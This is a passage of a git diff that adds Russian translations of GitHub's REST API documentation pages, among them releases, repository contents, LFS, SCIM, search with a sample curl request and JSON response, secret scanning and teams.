+ms.lasthandoff: 09/11/2022 +ms.locfileid: '147063437' +--- +## Сведения об API реакций + +Можно создавать реакции на комментарии и управлять ими с помощью API реакций. При создании реакции используйте допустимые значения параметра `content`, приведенные ниже (с соответствующим эмодзи для справки). + +{% data reusables.repositories.reaction_list %} diff --git a/translations/ru-RU/content/rest/releases/assets.md b/translations/ru-RU/content/rest/releases/assets.md new file mode 100644 index 000000000000..629da397b78d --- /dev/null +++ b/translations/ru-RU/content/rest/releases/assets.md @@ -0,0 +1,20 @@ +--- +title: Активы выпуска +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 671ee593033fa0f4b8694a195d28f1abb0916bc7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067525' +--- + diff --git a/translations/ru-RU/content/rest/releases/index.md b/translations/ru-RU/content/rest/releases/index.md new file mode 100644 index 000000000000..9d2ba66e5f22 --- /dev/null +++ b/translations/ru-RU/content/rest/releases/index.md @@ -0,0 +1,25 @@ +--- +title: Выпуски +intro: 'API выпусков позволяет создавать, изменять и удалять выпуски и ресурсы выпусков.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /releases + - /assets +redirect_from: + - /rest/reference/releases +ms.openlocfilehash: de35d09a09d2ac1116c7b2b174eca79e0650f259 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066581' +--- + diff --git a/translations/ru-RU/content/rest/releases/releases.md b/translations/ru-RU/content/rest/releases/releases.md new file mode 100644 index 000000000000..2e06520cfae0 --- /dev/null +++ b/translations/ru-RU/content/rest/releases/releases.md @@ -0,0 +1,23 @@ +--- +title: Выпуски +intro: 'API выпусков позволяет создавать, изменять и удалять выпуски и ресурсы выпуска. ' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a412e84256acbf6249f7ba1a92f3f55f8c7e4b9e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067901' +--- +{% note %} + +**Примечание.** API выпусков заменяют API скачиваний. Вы можете получить количество скачиваний и URL-адрес страницы скачивания браузера с конечных точек этого API, которые возвращают выпуски и их активы. + +{% endnote %} diff --git a/translations/ru-RU/content/rest/repos/autolinks.md b/translations/ru-RU/content/rest/repos/autolinks.md new file mode 100644 index 000000000000..b2e625895c9a --- /dev/null +++ b/translations/ru-RU/content/rest/repos/autolinks.md @@ -0,0 +1,25 @@ +--- +title: Автоматические ссылки репозитория +allowTitleToDifferFromFilename: true +shortTitle: Autolinks +intro: 'Чтобы упростить рабочий процесс, можно использовать API для добавления автоматических ссылок на внешние ресурсы, такие как проблемы JIRA и билеты Zendesk.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c35d9232ec43cf9dc19c9559de0e8411fa85e242 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109009' +--- +## Сведения об API автоматических ссылок репозитория + +Дополнительные сведения см. в статье "[Настройка автоматических ссылок для ссылок на внешние ресурсы](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)". + +Для использования API автоматических ссылок {% data variables.product.prodname_github_apps %} требуются разрешения администратора репозитория с доступом на чтение или запись. diff --git a/translations/ru-RU/content/rest/repos/contents.md b/translations/ru-RU/content/rest/repos/contents.md new file mode 100644 index 000000000000..df33c1ae6d02 --- /dev/null +++ b/translations/ru-RU/content/rest/repos/contents.md @@ -0,0 +1,42 @@ +--- +title: Содержимое репозитория +allowTitleToDifferFromFilename: true +shortTitle: Contents +intro: 'Эти конечные точки API позволяют создавать, изменять и удалять содержимое в кодировке Base64 в репозитории.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 50875021a506201a90cbac62db521604a390a586 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060333' +--- +## Сведения об API содержимого репозитория + +Чтобы запросить необработанный формат или отрисованный HTML (если он поддерживается), используйте пользовательские типы мультимедиа для содержимого репозитория. + +### Пользовательские типы мультимедиа для содержимого репозитория + +[Файлы сведений](/rest/reference/repos#get-a-repository-readme), [файлы](/rest/reference/repos#get-repository-content) и [символические ссылки](/rest/reference/repos#get-repository-content) поддерживают следующие пользовательские типы мультимедиа: + + application/vnd.github.VERSION.raw + application/vnd.github.VERSION.html + +Используйте тип мультимедиа `.raw` для получения содержимого файла. + +Для файлов разметки, таких как Markdown или AsciiDoc, можно получить отрисованный HTML-код с помощью типа мультимедиа `.html`. Языки разметки отрисовываются в HTML с помощью [библиотеки разметки](https://github.com/github/markup) с открытым кодом. + +[Все объекты](/rest/reference/repos#get-repository-content) поддерживают следующий пользовательский тип мультимедиа: + + application/vnd.github.VERSION.object + +Используйте параметр типа `object`мультимедиа для получения содержимого в согласованном формате объекта независимо от типа содержимого. Например, вместо массива объектов для каталога ответ будет объектом с атрибутом `entries`, содержащим массив объектов. + +Дополнительные сведения об использовании типов мультимедиа в API см. [здесь](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/repos/forks.md b/translations/ru-RU/content/rest/repos/forks.md new file mode 100644 index 000000000000..bd39db612084 --- /dev/null +++ b/translations/ru-RU/content/rest/repos/forks.md @@ -0,0 +1,19 @@ +--- +title: Вилки +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: f5ab9dd5ec8e8f5d7e303c8e0508c25dd13505e6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065501' +--- + diff --git a/translations/ru-RU/content/rest/repos/index.md b/translations/ru-RU/content/rest/repos/index.md new file mode 100644 index 000000000000..a2e47ec3eeef --- /dev/null +++ b/translations/ru-RU/content/rest/repos/index.md @@ -0,0 +1,30 @@ +--- +title: Репозитории +intro: 'API репозиториев позволяет создавать, администрировать и контролировать рабочий процесс для общедоступных и частных репозиториев {% data variables.product.product_name %}.' +allowTitleToDifferFromFilename: true +redirect_from: + - /v3/repos + - /rest/reference/repos +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /repos + - /autolinks + - /contents + - /forks + - /lfs + - /tags +ms.openlocfilehash: ef76154a5e8810543381769f1df1f1d61239dd13 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884481' +--- + diff --git a/translations/ru-RU/content/rest/repos/lfs.md b/translations/ru-RU/content/rest/repos/lfs.md new file mode 100644 index 000000000000..0b6976efbcdb --- /dev/null +++ b/translations/ru-RU/content/rest/repos/lfs.md @@ -0,0 +1,42 @@ +--- +title: Git LFS +intro: 'Вы можете включить или отключить {% data variables.large_files.product_name_long %} (LFS) для репозитория.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: e8a08167bb966b1dd397d8cfa7b4a9e9952946ca +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110127' +--- +## Сведения об API {% data variables.large_files.product_name_short %} + +{% data variables.large_files.product_name_short %} можно использовать для хранения больших файлов в репозитории Git. API {% data variables.large_files.product_name_short %} позволяет включить или отключить функцию для отдельного репозитория. Дополнительные сведения о {% data variables.large_files.product_name_short %} см. в разделе [Сведения о {% data variables.large_files.product_name_short %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). + +Люди с правами администратора к репозиторию может использовать API {% data variables.large_files.product_name_short %}. + +{% ifversion fpt or ghec %} + +Использование {% data variables.large_files.product_name_short %} подлежит выставлению счетов. Дополнительные сведения см. в разделе [Сведения о выставлении счетов для {% data variables.large_files.product_name_long %}](/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage). + +Если вы хотите использовать API {% data variables.large_files.product_name_short %} для репозитория, принадлежащего организации, ваша роль должна предоставить вам доступ к выставлению счетов организации{% ifversion ghec %} или {% endif %} предприятия. {% ifversion fpt %} Дополнительные сведения см. в разделе [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners). {% endif %} + +{% ifversion ghec %} + +| Владение репозиторием | Необходимый доступ к репозиторию | Требуемая роль | Дополнительные сведения | +| :- | :- | :- | :- | +| Персональная учетная запись | Администратор | Недоступно | Недоступно | +|
  • Организация на {% data variables.product.prodname_team %}
  • Организация на {% data variables.product.product_name %}, но не на предприятии
| Администратор, который наследуется, если вы являетесь владельцем организации | Владелец организации или менеджер по выставлению счетов | [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners) | +| Организация на предприятии | Администратор, которые можно наследовать, если вы являетесь владельцем организации | Владелец предприятия или менеджер по выставлению счетов | [Роли на предприятии](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners) | + +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/content/rest/repos/repos.md b/translations/ru-RU/content/rest/repos/repos.md new file mode 100644 index 000000000000..1e3a42c8ed36 --- /dev/null +++ b/translations/ru-RU/content/rest/repos/repos.md @@ -0,0 +1,20 @@ +--- +title: Репозитории +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 090fee9edf9591339433728da9427162a635fb03 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878835' +--- + diff --git a/translations/ru-RU/content/rest/repos/tags.md b/translations/ru-RU/content/rest/repos/tags.md new file mode 100644 index 000000000000..88e974abdaec --- /dev/null +++ b/translations/ru-RU/content/rest/repos/tags.md @@ -0,0 +1,20 @@ +--- +title: Теги репозитория +allowTitleToDifferFromFilename: true +shortTitle: Tags +intro: '' +versions: + fpt: '*' + ghec: '*' + ghes: '>3.4' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a33889024d8a2cb10e3aa5a4b34f25a416db54a1 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882354' +--- + diff --git a/translations/ru-RU/content/rest/scim.md b/translations/ru-RU/content/rest/scim.md new file mode 100644 index 000000000000..cc680f5db171 --- /dev/null +++ b/translations/ru-RU/content/rest/scim.md @@ -0,0 +1,55 @@ +--- +title: SCIM +intro: You can control and manage your GitHub organization members access using SCIM API. +versions: + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/scim +--- + +## About the SCIM API + +### SCIM Provisioning for Organizations + +The SCIM API is used by SCIM-enabled Identity Providers (IdPs) to automate provisioning of {% data variables.product.product_name %} organization membership. The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). The {% data variables.product.product_name %} SCIM endpoint that an IdP should use is: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`. + +{% note %} + +**Notes:** + - The SCIM API is available only for individual organizations that use [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) with [SAML SSO](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) enabled. For more information about SCIM, see "[About SCIM for organizations](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." + - The SCIM API cannot be used with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}. + +{% endnote %} + +### Authenticating calls to the SCIM API + +You must authenticate as an owner of a {% data variables.product.product_name %} organization to use its SCIM API. The API expects an [OAuth 2.0 Bearer](/developers/apps/authenticating-with-github-apps) token to be included in the `Authorization` header. If you use a {% data variables.product.pat_v1 %} for authentication, it must have the `admin:org` scope and you must also [authorize it for use with your SAML SSO organization](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). + +### Mapping of SAML and SCIM data + +{% data reusables.scim.nameid-and-username-must-match %} + +### Supported SCIM User attributes + +Name | Type | Description +-----|------|-------------- +`userName`|`string` | The username for the user. +`name.givenName`|`string` | The first name of the user. +`name.familyName`|`string` | The last name of the user. +`emails` | `array` | List of user emails. +`externalId` | `string` | This identifier is generated by the SAML provider, and is used as a unique ID by the SAML provider to match against a GitHub user. You can find the `externalID` for a user either at the SAML provider, or using the [List SCIM provisioned identities](#list-scim-provisioned-identities) endpoint and filtering on other known attributes, such as a user's GitHub username or email address. +`id` | `string` | Identifier generated by the GitHub SCIM endpoint. +`active` | `boolean` | Used to indicate whether the identity is active (true) or should be deprovisioned (false). + +{% note %} + +**Note:** Endpoint URLs for the SCIM API are case sensitive. For example, the first letter in the `Users` endpoint must be capitalized: + +```shell +GET /scim/v2/organizations/{org}/Users/{scim_user_id} +``` + +{% endnote %} diff --git a/translations/ru-RU/content/rest/search.md b/translations/ru-RU/content/rest/search.md new file mode 100644 index 000000000000..6619cf9920a8 --- /dev/null +++ b/translations/ru-RU/content/rest/search.md @@ -0,0 +1,172 @@ +--- +title: Поиск +intro: 'API поиска позволяет искать определенные элементы в {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/search +ms.openlocfilehash: 71f21fc712f7c2121b780d79d20eb9615ad82c90 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147110364' +--- +## Сведения об API поиска + +API поиска помогает найти определенный элемент. Например, можно найти пользователя или определенный файл в репозитории. Это похоже на поиск в Google. API поиска предназначен для поиска одного результата, который вы ищете (или, возможно, несколько результатов). Так же, как при поиске в Google, иногда требуется просмотреть несколько страниц результатов поиска, чтобы найти элемент, который лучше всего соответствует вашим требованиям. Для решения этой задачи API поиска {% data variables.product.product_name %} предоставляет **до 1000 результатов для каждого поиска**. + +Поиск можно сузить с помощью запросов. Дополнительные сведения о синтаксисе поисковых запросов см. в разделе [Создание поискового запроса](/rest/reference/search#constructing-a-search-query). + +### Ранжирование результатов поиска + +Если в качестве параметра запроса не указан другой параметр сортировки, результаты сортируются по лучшему совпадению в порядке убывания. Для повышения вероятности появления наиболее релевантного элемента в верхней части списка результатов используется множество факторов. + +### Ограничение скорости + +{% data reusables.enterprise.rate_limit %} + +API поиска имеет настраиваемое ограничение скорости. Для запросов с использованием [обычной проверки подлинности](/rest#authentication), [OAuth](/rest#authentication) или [идентификатора клиента и секрета](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications) можно выполнять не более 30 запросов в минуту. Для запросов без проверки подлинности ограничение скорости позволяет выполнять не более 10 запросов в минуту. + +Дополнительные сведения об определении текущего состояния ограничения скорости см. в [документации по ограничению скорости](/rest/reference/rate-limit). + +### Создание поискового запроса + +Каждая конечная точка в API поиска использует [параметры запроса](https://en.wikipedia.org/wiki/Query_string) для выполнения поиска в {% data variables.product.product_name %}. Пример, включающий параметры конечной точки и запроса, см. в отдельной конечной точке API поиска. + +Запрос может содержать любое сочетание квалификаторов поиска, поддерживаемых в {% data variables.product.product_name %}. Формат поискового запроса: + +``` +SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N +``` + +Например, если вы хотите искать все _репозитории_, принадлежащие `defunkt` и содержащие слова `GitHub` и `Octocat` в файле README, используйте следующий запрос с конечной точкой _поиска в репозиториях_: + +``` +GitHub Octocat in:readme user:defunkt +``` + +**Примечание.** Обязательно используйте предпочитаемый кодировщик HTML для вашего языка для создания строк запроса. Пример: +```javascript +// JavaScript +const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt'); +``` + +Полный список доступных квалификаторов, их формат и примеры использования см. в разделе [Поиск в GitHub](/search-github/searching-on-github). Сведения об использовании операторов для сопоставления определенных количеств и дат или для исключения результатов см. в разделе [Общие сведения о синтаксисе поиска](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/). + +### Ограничения на длину запроса + +API поиска не поддерживает запросы, которые: +- длиннее 256 символов (не включая операторы и квалификаторы); +- имеют более пяти операторов `AND`, `OR` и `NOT`. + +Эти поисковые запросы возвращают сообщение об ошибке "Сбой проверки". + +### Время ожидания и неполные результаты + +Чтобы обеспечить быструю работу API поиска для всех пользователей, мы ограничиваем время выполнения каждого отдельного запроса. Для запросов, [превышающих ограничение времени](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), API возвращает совпадения, которые уже были найдены до истечения времени ожидания, и в ответе свойство `incomplete_results` имеет значение `true`. + +Превышение времени ожидания не обязательно означает, что результаты поиска будут неполными. +Возможно, были бы найдены другие результаты, а возможно и нет. + +### Доступ к ошибкам и недостающим результатам поиска + +Вам нужно успешно пройти проверку подлинности и получить доступ к репозиториям в поисковых запросах. В противном случае появится ошибка `422 Unprocessable Entry` с сообщением "Сбой проверки". Например, поиск завершится ошибкой, если запрос содержит квалификаторы `repo:`, `user:` или `org:`, запрашивающие ресурсы, к которым у вас нет доступа после входа на {% data variables.product.prodname_dotcom %}. + +Когда поисковый запрос запрашивает несколько ресурсов, ответ будет содержать только те ресурсы, к которым у вас есть доступ, и **не** предоставит сообщение об ошибке со списком ресурсов, которые не были возвращены. + +Например, если поисковый запрос ищет в репозиториях `octocat/test` и `codertocat/test`, а у вас есть доступ только к `octocat/test`, в ответе будут результаты для `octocat/test`, но не для `codertocat/test`. Это поведение имитирует работу поиска на {% data variables.product.prodname_dotcom %}. + +### Метаданные сопоставления текста + +На GitHub можно использовать контекст, предоставляемый фрагментами кода и выделениями в результатах поиска. API поиска предлагает дополнительные метаданные, позволяющие выделять соответствующие поисковые термины при отображении результатов поиска. + +![выделения-фрагмента-кода](/assets/images/text-match-search-api.png) + +Запросы могут принимать эти фрагменты текста в ответе, и каждый фрагмент сопровождается числовыми смещениями, определяющими точное расположение каждого соответствующего поискового термина. + +Чтобы получить эти метаданные в результатах поиска, укажите тип данных `text-match` в заголовке `Accept`. + +```shell +application/vnd.github.text-match+json +``` + +При указании типа данных `text-match` вы получите дополнительный ключ `text_matches` в полезных данных JSON, который содержит сведения о позиции поисковых терминов в тексте, и свойство `property` с поисковым термином. Внутри массива `text_matches` каждый объект содержит следующие атрибуты: + +Имя | Описание +-----|-----------| +`object_url` | URL-адрес ресурса, содержащего строковое свойство, соответствующее одному из поисковому термину. +`object_type` | Имя типа ресурса в этом объекте `object_url`. +`property` | Имя свойства ресурса в `object_url`. Это свойство является строкой, которая соответствует одному из поисковых терминов. (В JSON, возвращенном из `object_url`, полное содержимое свойства `fragment` будет находится в свойстве с этим именем.) +`fragment` | Подмножество значения `property`. Это фрагмент текста, соответствующий одному или нескольким поисковым терминам. +`matches` | Массив из одного или нескольких поисковых терминов, присутствующих в свойстве `fragment`. Индексы (т. е. смещения) относительно фрагмента. (Они не относятся к _полному_ содержимому свойства `property`.) + +#### Пример + +С использованием cURL и приведенного выше [примера поиска проблемы](#search-issues-and-pull-requests) запрос к API будет выглядеть следующим образом: + +``` shell +curl -H 'Accept: application/vnd.github.text-match+json' \ +'{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug \ ++language:python+state:open&sort=created&order=asc' +``` + +Ответ будет содержать массив `text_matches` для каждого результата поиска. Приведенный ниже JSON содержит два объекта в массиве `text_matches`. + +Первое совпадение текста произошло в свойстве `body` проблемы. Мы видим фрагмент текста из текста проблемы. Поисковый термин (`windows`) отображается дважды в этом фрагменте, и у нас есть индексы для каждого вхождения. + +Второе совпадение текста произошло в свойстве `body` одного из комментариев проблемы. У нас есть URL-адрес этого комментария проблемы. И, конечно, мы видим фрагмент текста комментария. Поисковый термин (`windows`) появляется один раз в этом фрагменте. + +```json +{ + "text_matches": [ + { + "object_url": "https://api.github.com/repositories/215335/issues/132", + "object_type": "Issue", + "property": "body", + "fragment": "comprehensive windows font I know of).\n\nIf we can find a commonly + distributed windows font that supports them then no problem (we can use html + font tags) but otherwise the '(21)' style is probably better.\n", + "matches": [ + { + "text": "windows", + "indices": [ + 14, + 21 + ] + }, + { + "text": "windows", + "indices": [ + 78, + 85 + ] + } + ] + }, + { + "object_url": "https://api.github.com/repositories/215335/issues/comments/25688", + "object_type": "IssueComment", + "property": "body", + "fragment": " right after that are a bit broken IMHO :). I suppose we could + have some hack that maxes out at whatever the font does...\n\nI'll check + what the state of play is on Windows.\n", + "matches": [ + { + "text": "Windows", + "indices": [ + 163, + 170 + ] + } + ] + } + ] +} +``` diff --git a/translations/ru-RU/content/rest/secret-scanning.md b/translations/ru-RU/content/rest/secret-scanning.md new file mode 100644 index 000000000000..74b4e322e0d4 --- /dev/null +++ b/translations/ru-RU/content/rest/secret-scanning.md @@ -0,0 +1,29 @@ +--- +title: Сканирование секретов +intro: Используйте API сканирования секретов для получения и обновления оповещений о секретах из репозитория. +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/secret-scanning +ms.openlocfilehash: d17aa63bb3d7e71adb310c66cabb05a83776b78f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880127' +--- +{% data reusables.secret-scanning.api-beta %} + +## Сведения об API проверки секретов + +API {% data variables.product.prodname_secret_scanning %} позволяет: + +- Включать или отключать {% data variables.product.prodname_secret_scanning %}{% ifversion secret-scanning-push-protection %} и защиту от отправки{% endif %} для репозитория. Дополнительные сведения см. в разделе [Репозитории](/rest/repos/repos#update-a-repository) и разверните раздел "Свойства объекта `security_and_analysis`" в документации по REST API. +- Получение и обновление оповещений {% data variables.product.prodname_secret_scanning_GHAS %} из репозитория. Дополнительные сведения об этом см. в разделах ниже. + +Дополнительные сведения о {% data variables.product.prodname_secret_scanning %} см. в разделе [Сведения о {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning). diff --git a/translations/ru-RU/content/rest/teams/discussion-comments.md b/translations/ru-RU/content/rest/teams/discussion-comments.md new file mode 100644 index 000000000000..d226dd8b830a --- /dev/null +++ b/translations/ru-RU/content/rest/teams/discussion-comments.md @@ -0,0 +1,25 @@ +--- +title: Комментарии к обсуждению команды +allowTitleToDifferFromFilename: true +shortTitle: Discussion comments +intro: 'API комментариев к обсуждению в команде позволяет получать, создавать, редактировать и удалять комментарии к публикации [обсуждения в команде](/rest/reference/teams#discussions).' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: bbd5abb5411a5292dc759f9595d89dcabd25c2f8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884456' +--- +## Сведения о API комментариев к обсуждению команды + +Любой участник команды [организации](/rest/reference/orgs) может создавать и читать комментарии в общедоступном обсуждении. Дополнительные сведения см. в разделе [Сведения об обсуждениях в командах](/organizations/collaborating-with-your-team/about-team-discussions/). + +{% data reusables.organizations.team-api %} diff --git a/translations/ru-RU/content/rest/teams/discussions.md b/translations/ru-RU/content/rest/teams/discussions.md new file mode 100644 index 000000000000..ed0f29390fd7 --- /dev/null +++ b/translations/ru-RU/content/rest/teams/discussions.md @@ -0,0 +1,25 @@ +--- +title: Обсуждения в команде +allowTitleToDifferFromFilename: true +shortTitle: Discussions +intro: 'API обсуждений в команде позволяет получать, создавать, редактировать и удалять записи обсуждений на странице команды.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 3f8c2b05699622a9fe4e8f2ba542cad2dd9f4682 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060558' +--- +## Сведения о API обсуждений в команде + +Командные обсуждения предназначены для бесед, которые не относятся к репозиторию или проекту. Любой участник команды [организации](/rest/reference/orgs) может создавать и читать записи в общедоступном обсуждении. Дополнительные сведения см. в разделе [Сведения об обсуждениях в командах](//organizations/collaborating-with-your-team/about-team-discussions/). Дополнительные сведения о комментариях к записи в обсуждении см. в разделе [API комментариев к обсуждениям команды](/rest/reference/teams#discussion-comments). + +{% data reusables.organizations.team-api %} diff --git a/translations/ru-RU/content/rest/teams/external-groups.md b/translations/ru-RU/content/rest/teams/external-groups.md new file mode 100644 index 000000000000..40e684802e23 --- /dev/null +++ b/translations/ru-RU/content/rest/teams/external-groups.md @@ -0,0 +1,29 @@ +--- +title: Внешние группы +intro: 'API внешних групп позволяет просматривать группы внешних поставщиков удостоверений, доступные для вашей организации, и управлять подключением между внешними группами и командами в организации.' +versions: + ghae: '*' + ghec: '*' + ghes: '>=3.6' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 0958aad779e6ec1044b74d3f6d67b2d7fff8aef0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147710374' +--- +## Сведения об API внешних групп + +Чтобы использовать этот API, прошедший проверку подлинности пользователь должен быть ответственным за команду или владельцем организации, связанной с командой. + +{% ifversion ghec %} {% note %} + +**Примечания.** + +- API внешних групп доступен только для организаций, которые являются частью предприятия, использующего {% data variables.product.prodname_emus %}. Дополнительные сведения см. в разделе [Сведения о пользователях, управляемых предприятием](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users). +- Если в организации используется синхронизация команд, можно применять API синхронизации команд. Дополнительные сведения см. в разделе [API синхронизации команд](#team-synchronization). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/content/rest/teams/index.md b/translations/ru-RU/content/rest/teams/index.md new file mode 100644 index 000000000000..1bbbfa965807 --- /dev/null +++ b/translations/ru-RU/content/rest/teams/index.md @@ -0,0 +1,29 @@ +--- +title: Teams +intro: 'С помощью API команд вы можете создавать команды и управлять ими в организации {% data variables.product.product_name %}.' +redirect_from: + - /v3/teams + - /rest/reference/teams +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /teams + - /discussion-comments + - /discussions + - /external-groups + - /members + - /team-sync +ms.openlocfilehash: 82e6b0f69bc639d6a7423fb2bda2a2e33e208e63 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062845' +--- + diff --git a/translations/ru-RU/content/rest/teams/members.md b/translations/ru-RU/content/rest/teams/members.md new file mode 100644 index 000000000000..0f840b9ffddc --- /dev/null +++ b/translations/ru-RU/content/rest/teams/members.md @@ -0,0 +1,31 @@ +--- +title: Члены команды +allowTitleToDifferFromFilename: true +shortTitle: Members +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 9f2e4a1bee298bddf1d1712c78b2bac41f15c27e +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879002' +--- +## Сведения об API члены команды + +{% data reusables.organizations.team-api %} + +{% ifversion fpt or ghes or ghec %} {% note %} + +**Примечание.** Если вы настроили синхронизацию команд для команды с поставщиком удостоверений организации (IdP), при попытке использовать API для внесения изменений в членство в команде появится сообщение об ошибке. Если у вас есть доступ к управлению членством в группах в поставщике удостоверений, можно управлять членством в команде GitHub с помощью поставщика удостоверений, который автоматически добавляет и удаляет членов команды в организации. Дополнительные сведения см. в разделе [Синхронизация команд между поставщиком удостоверений и 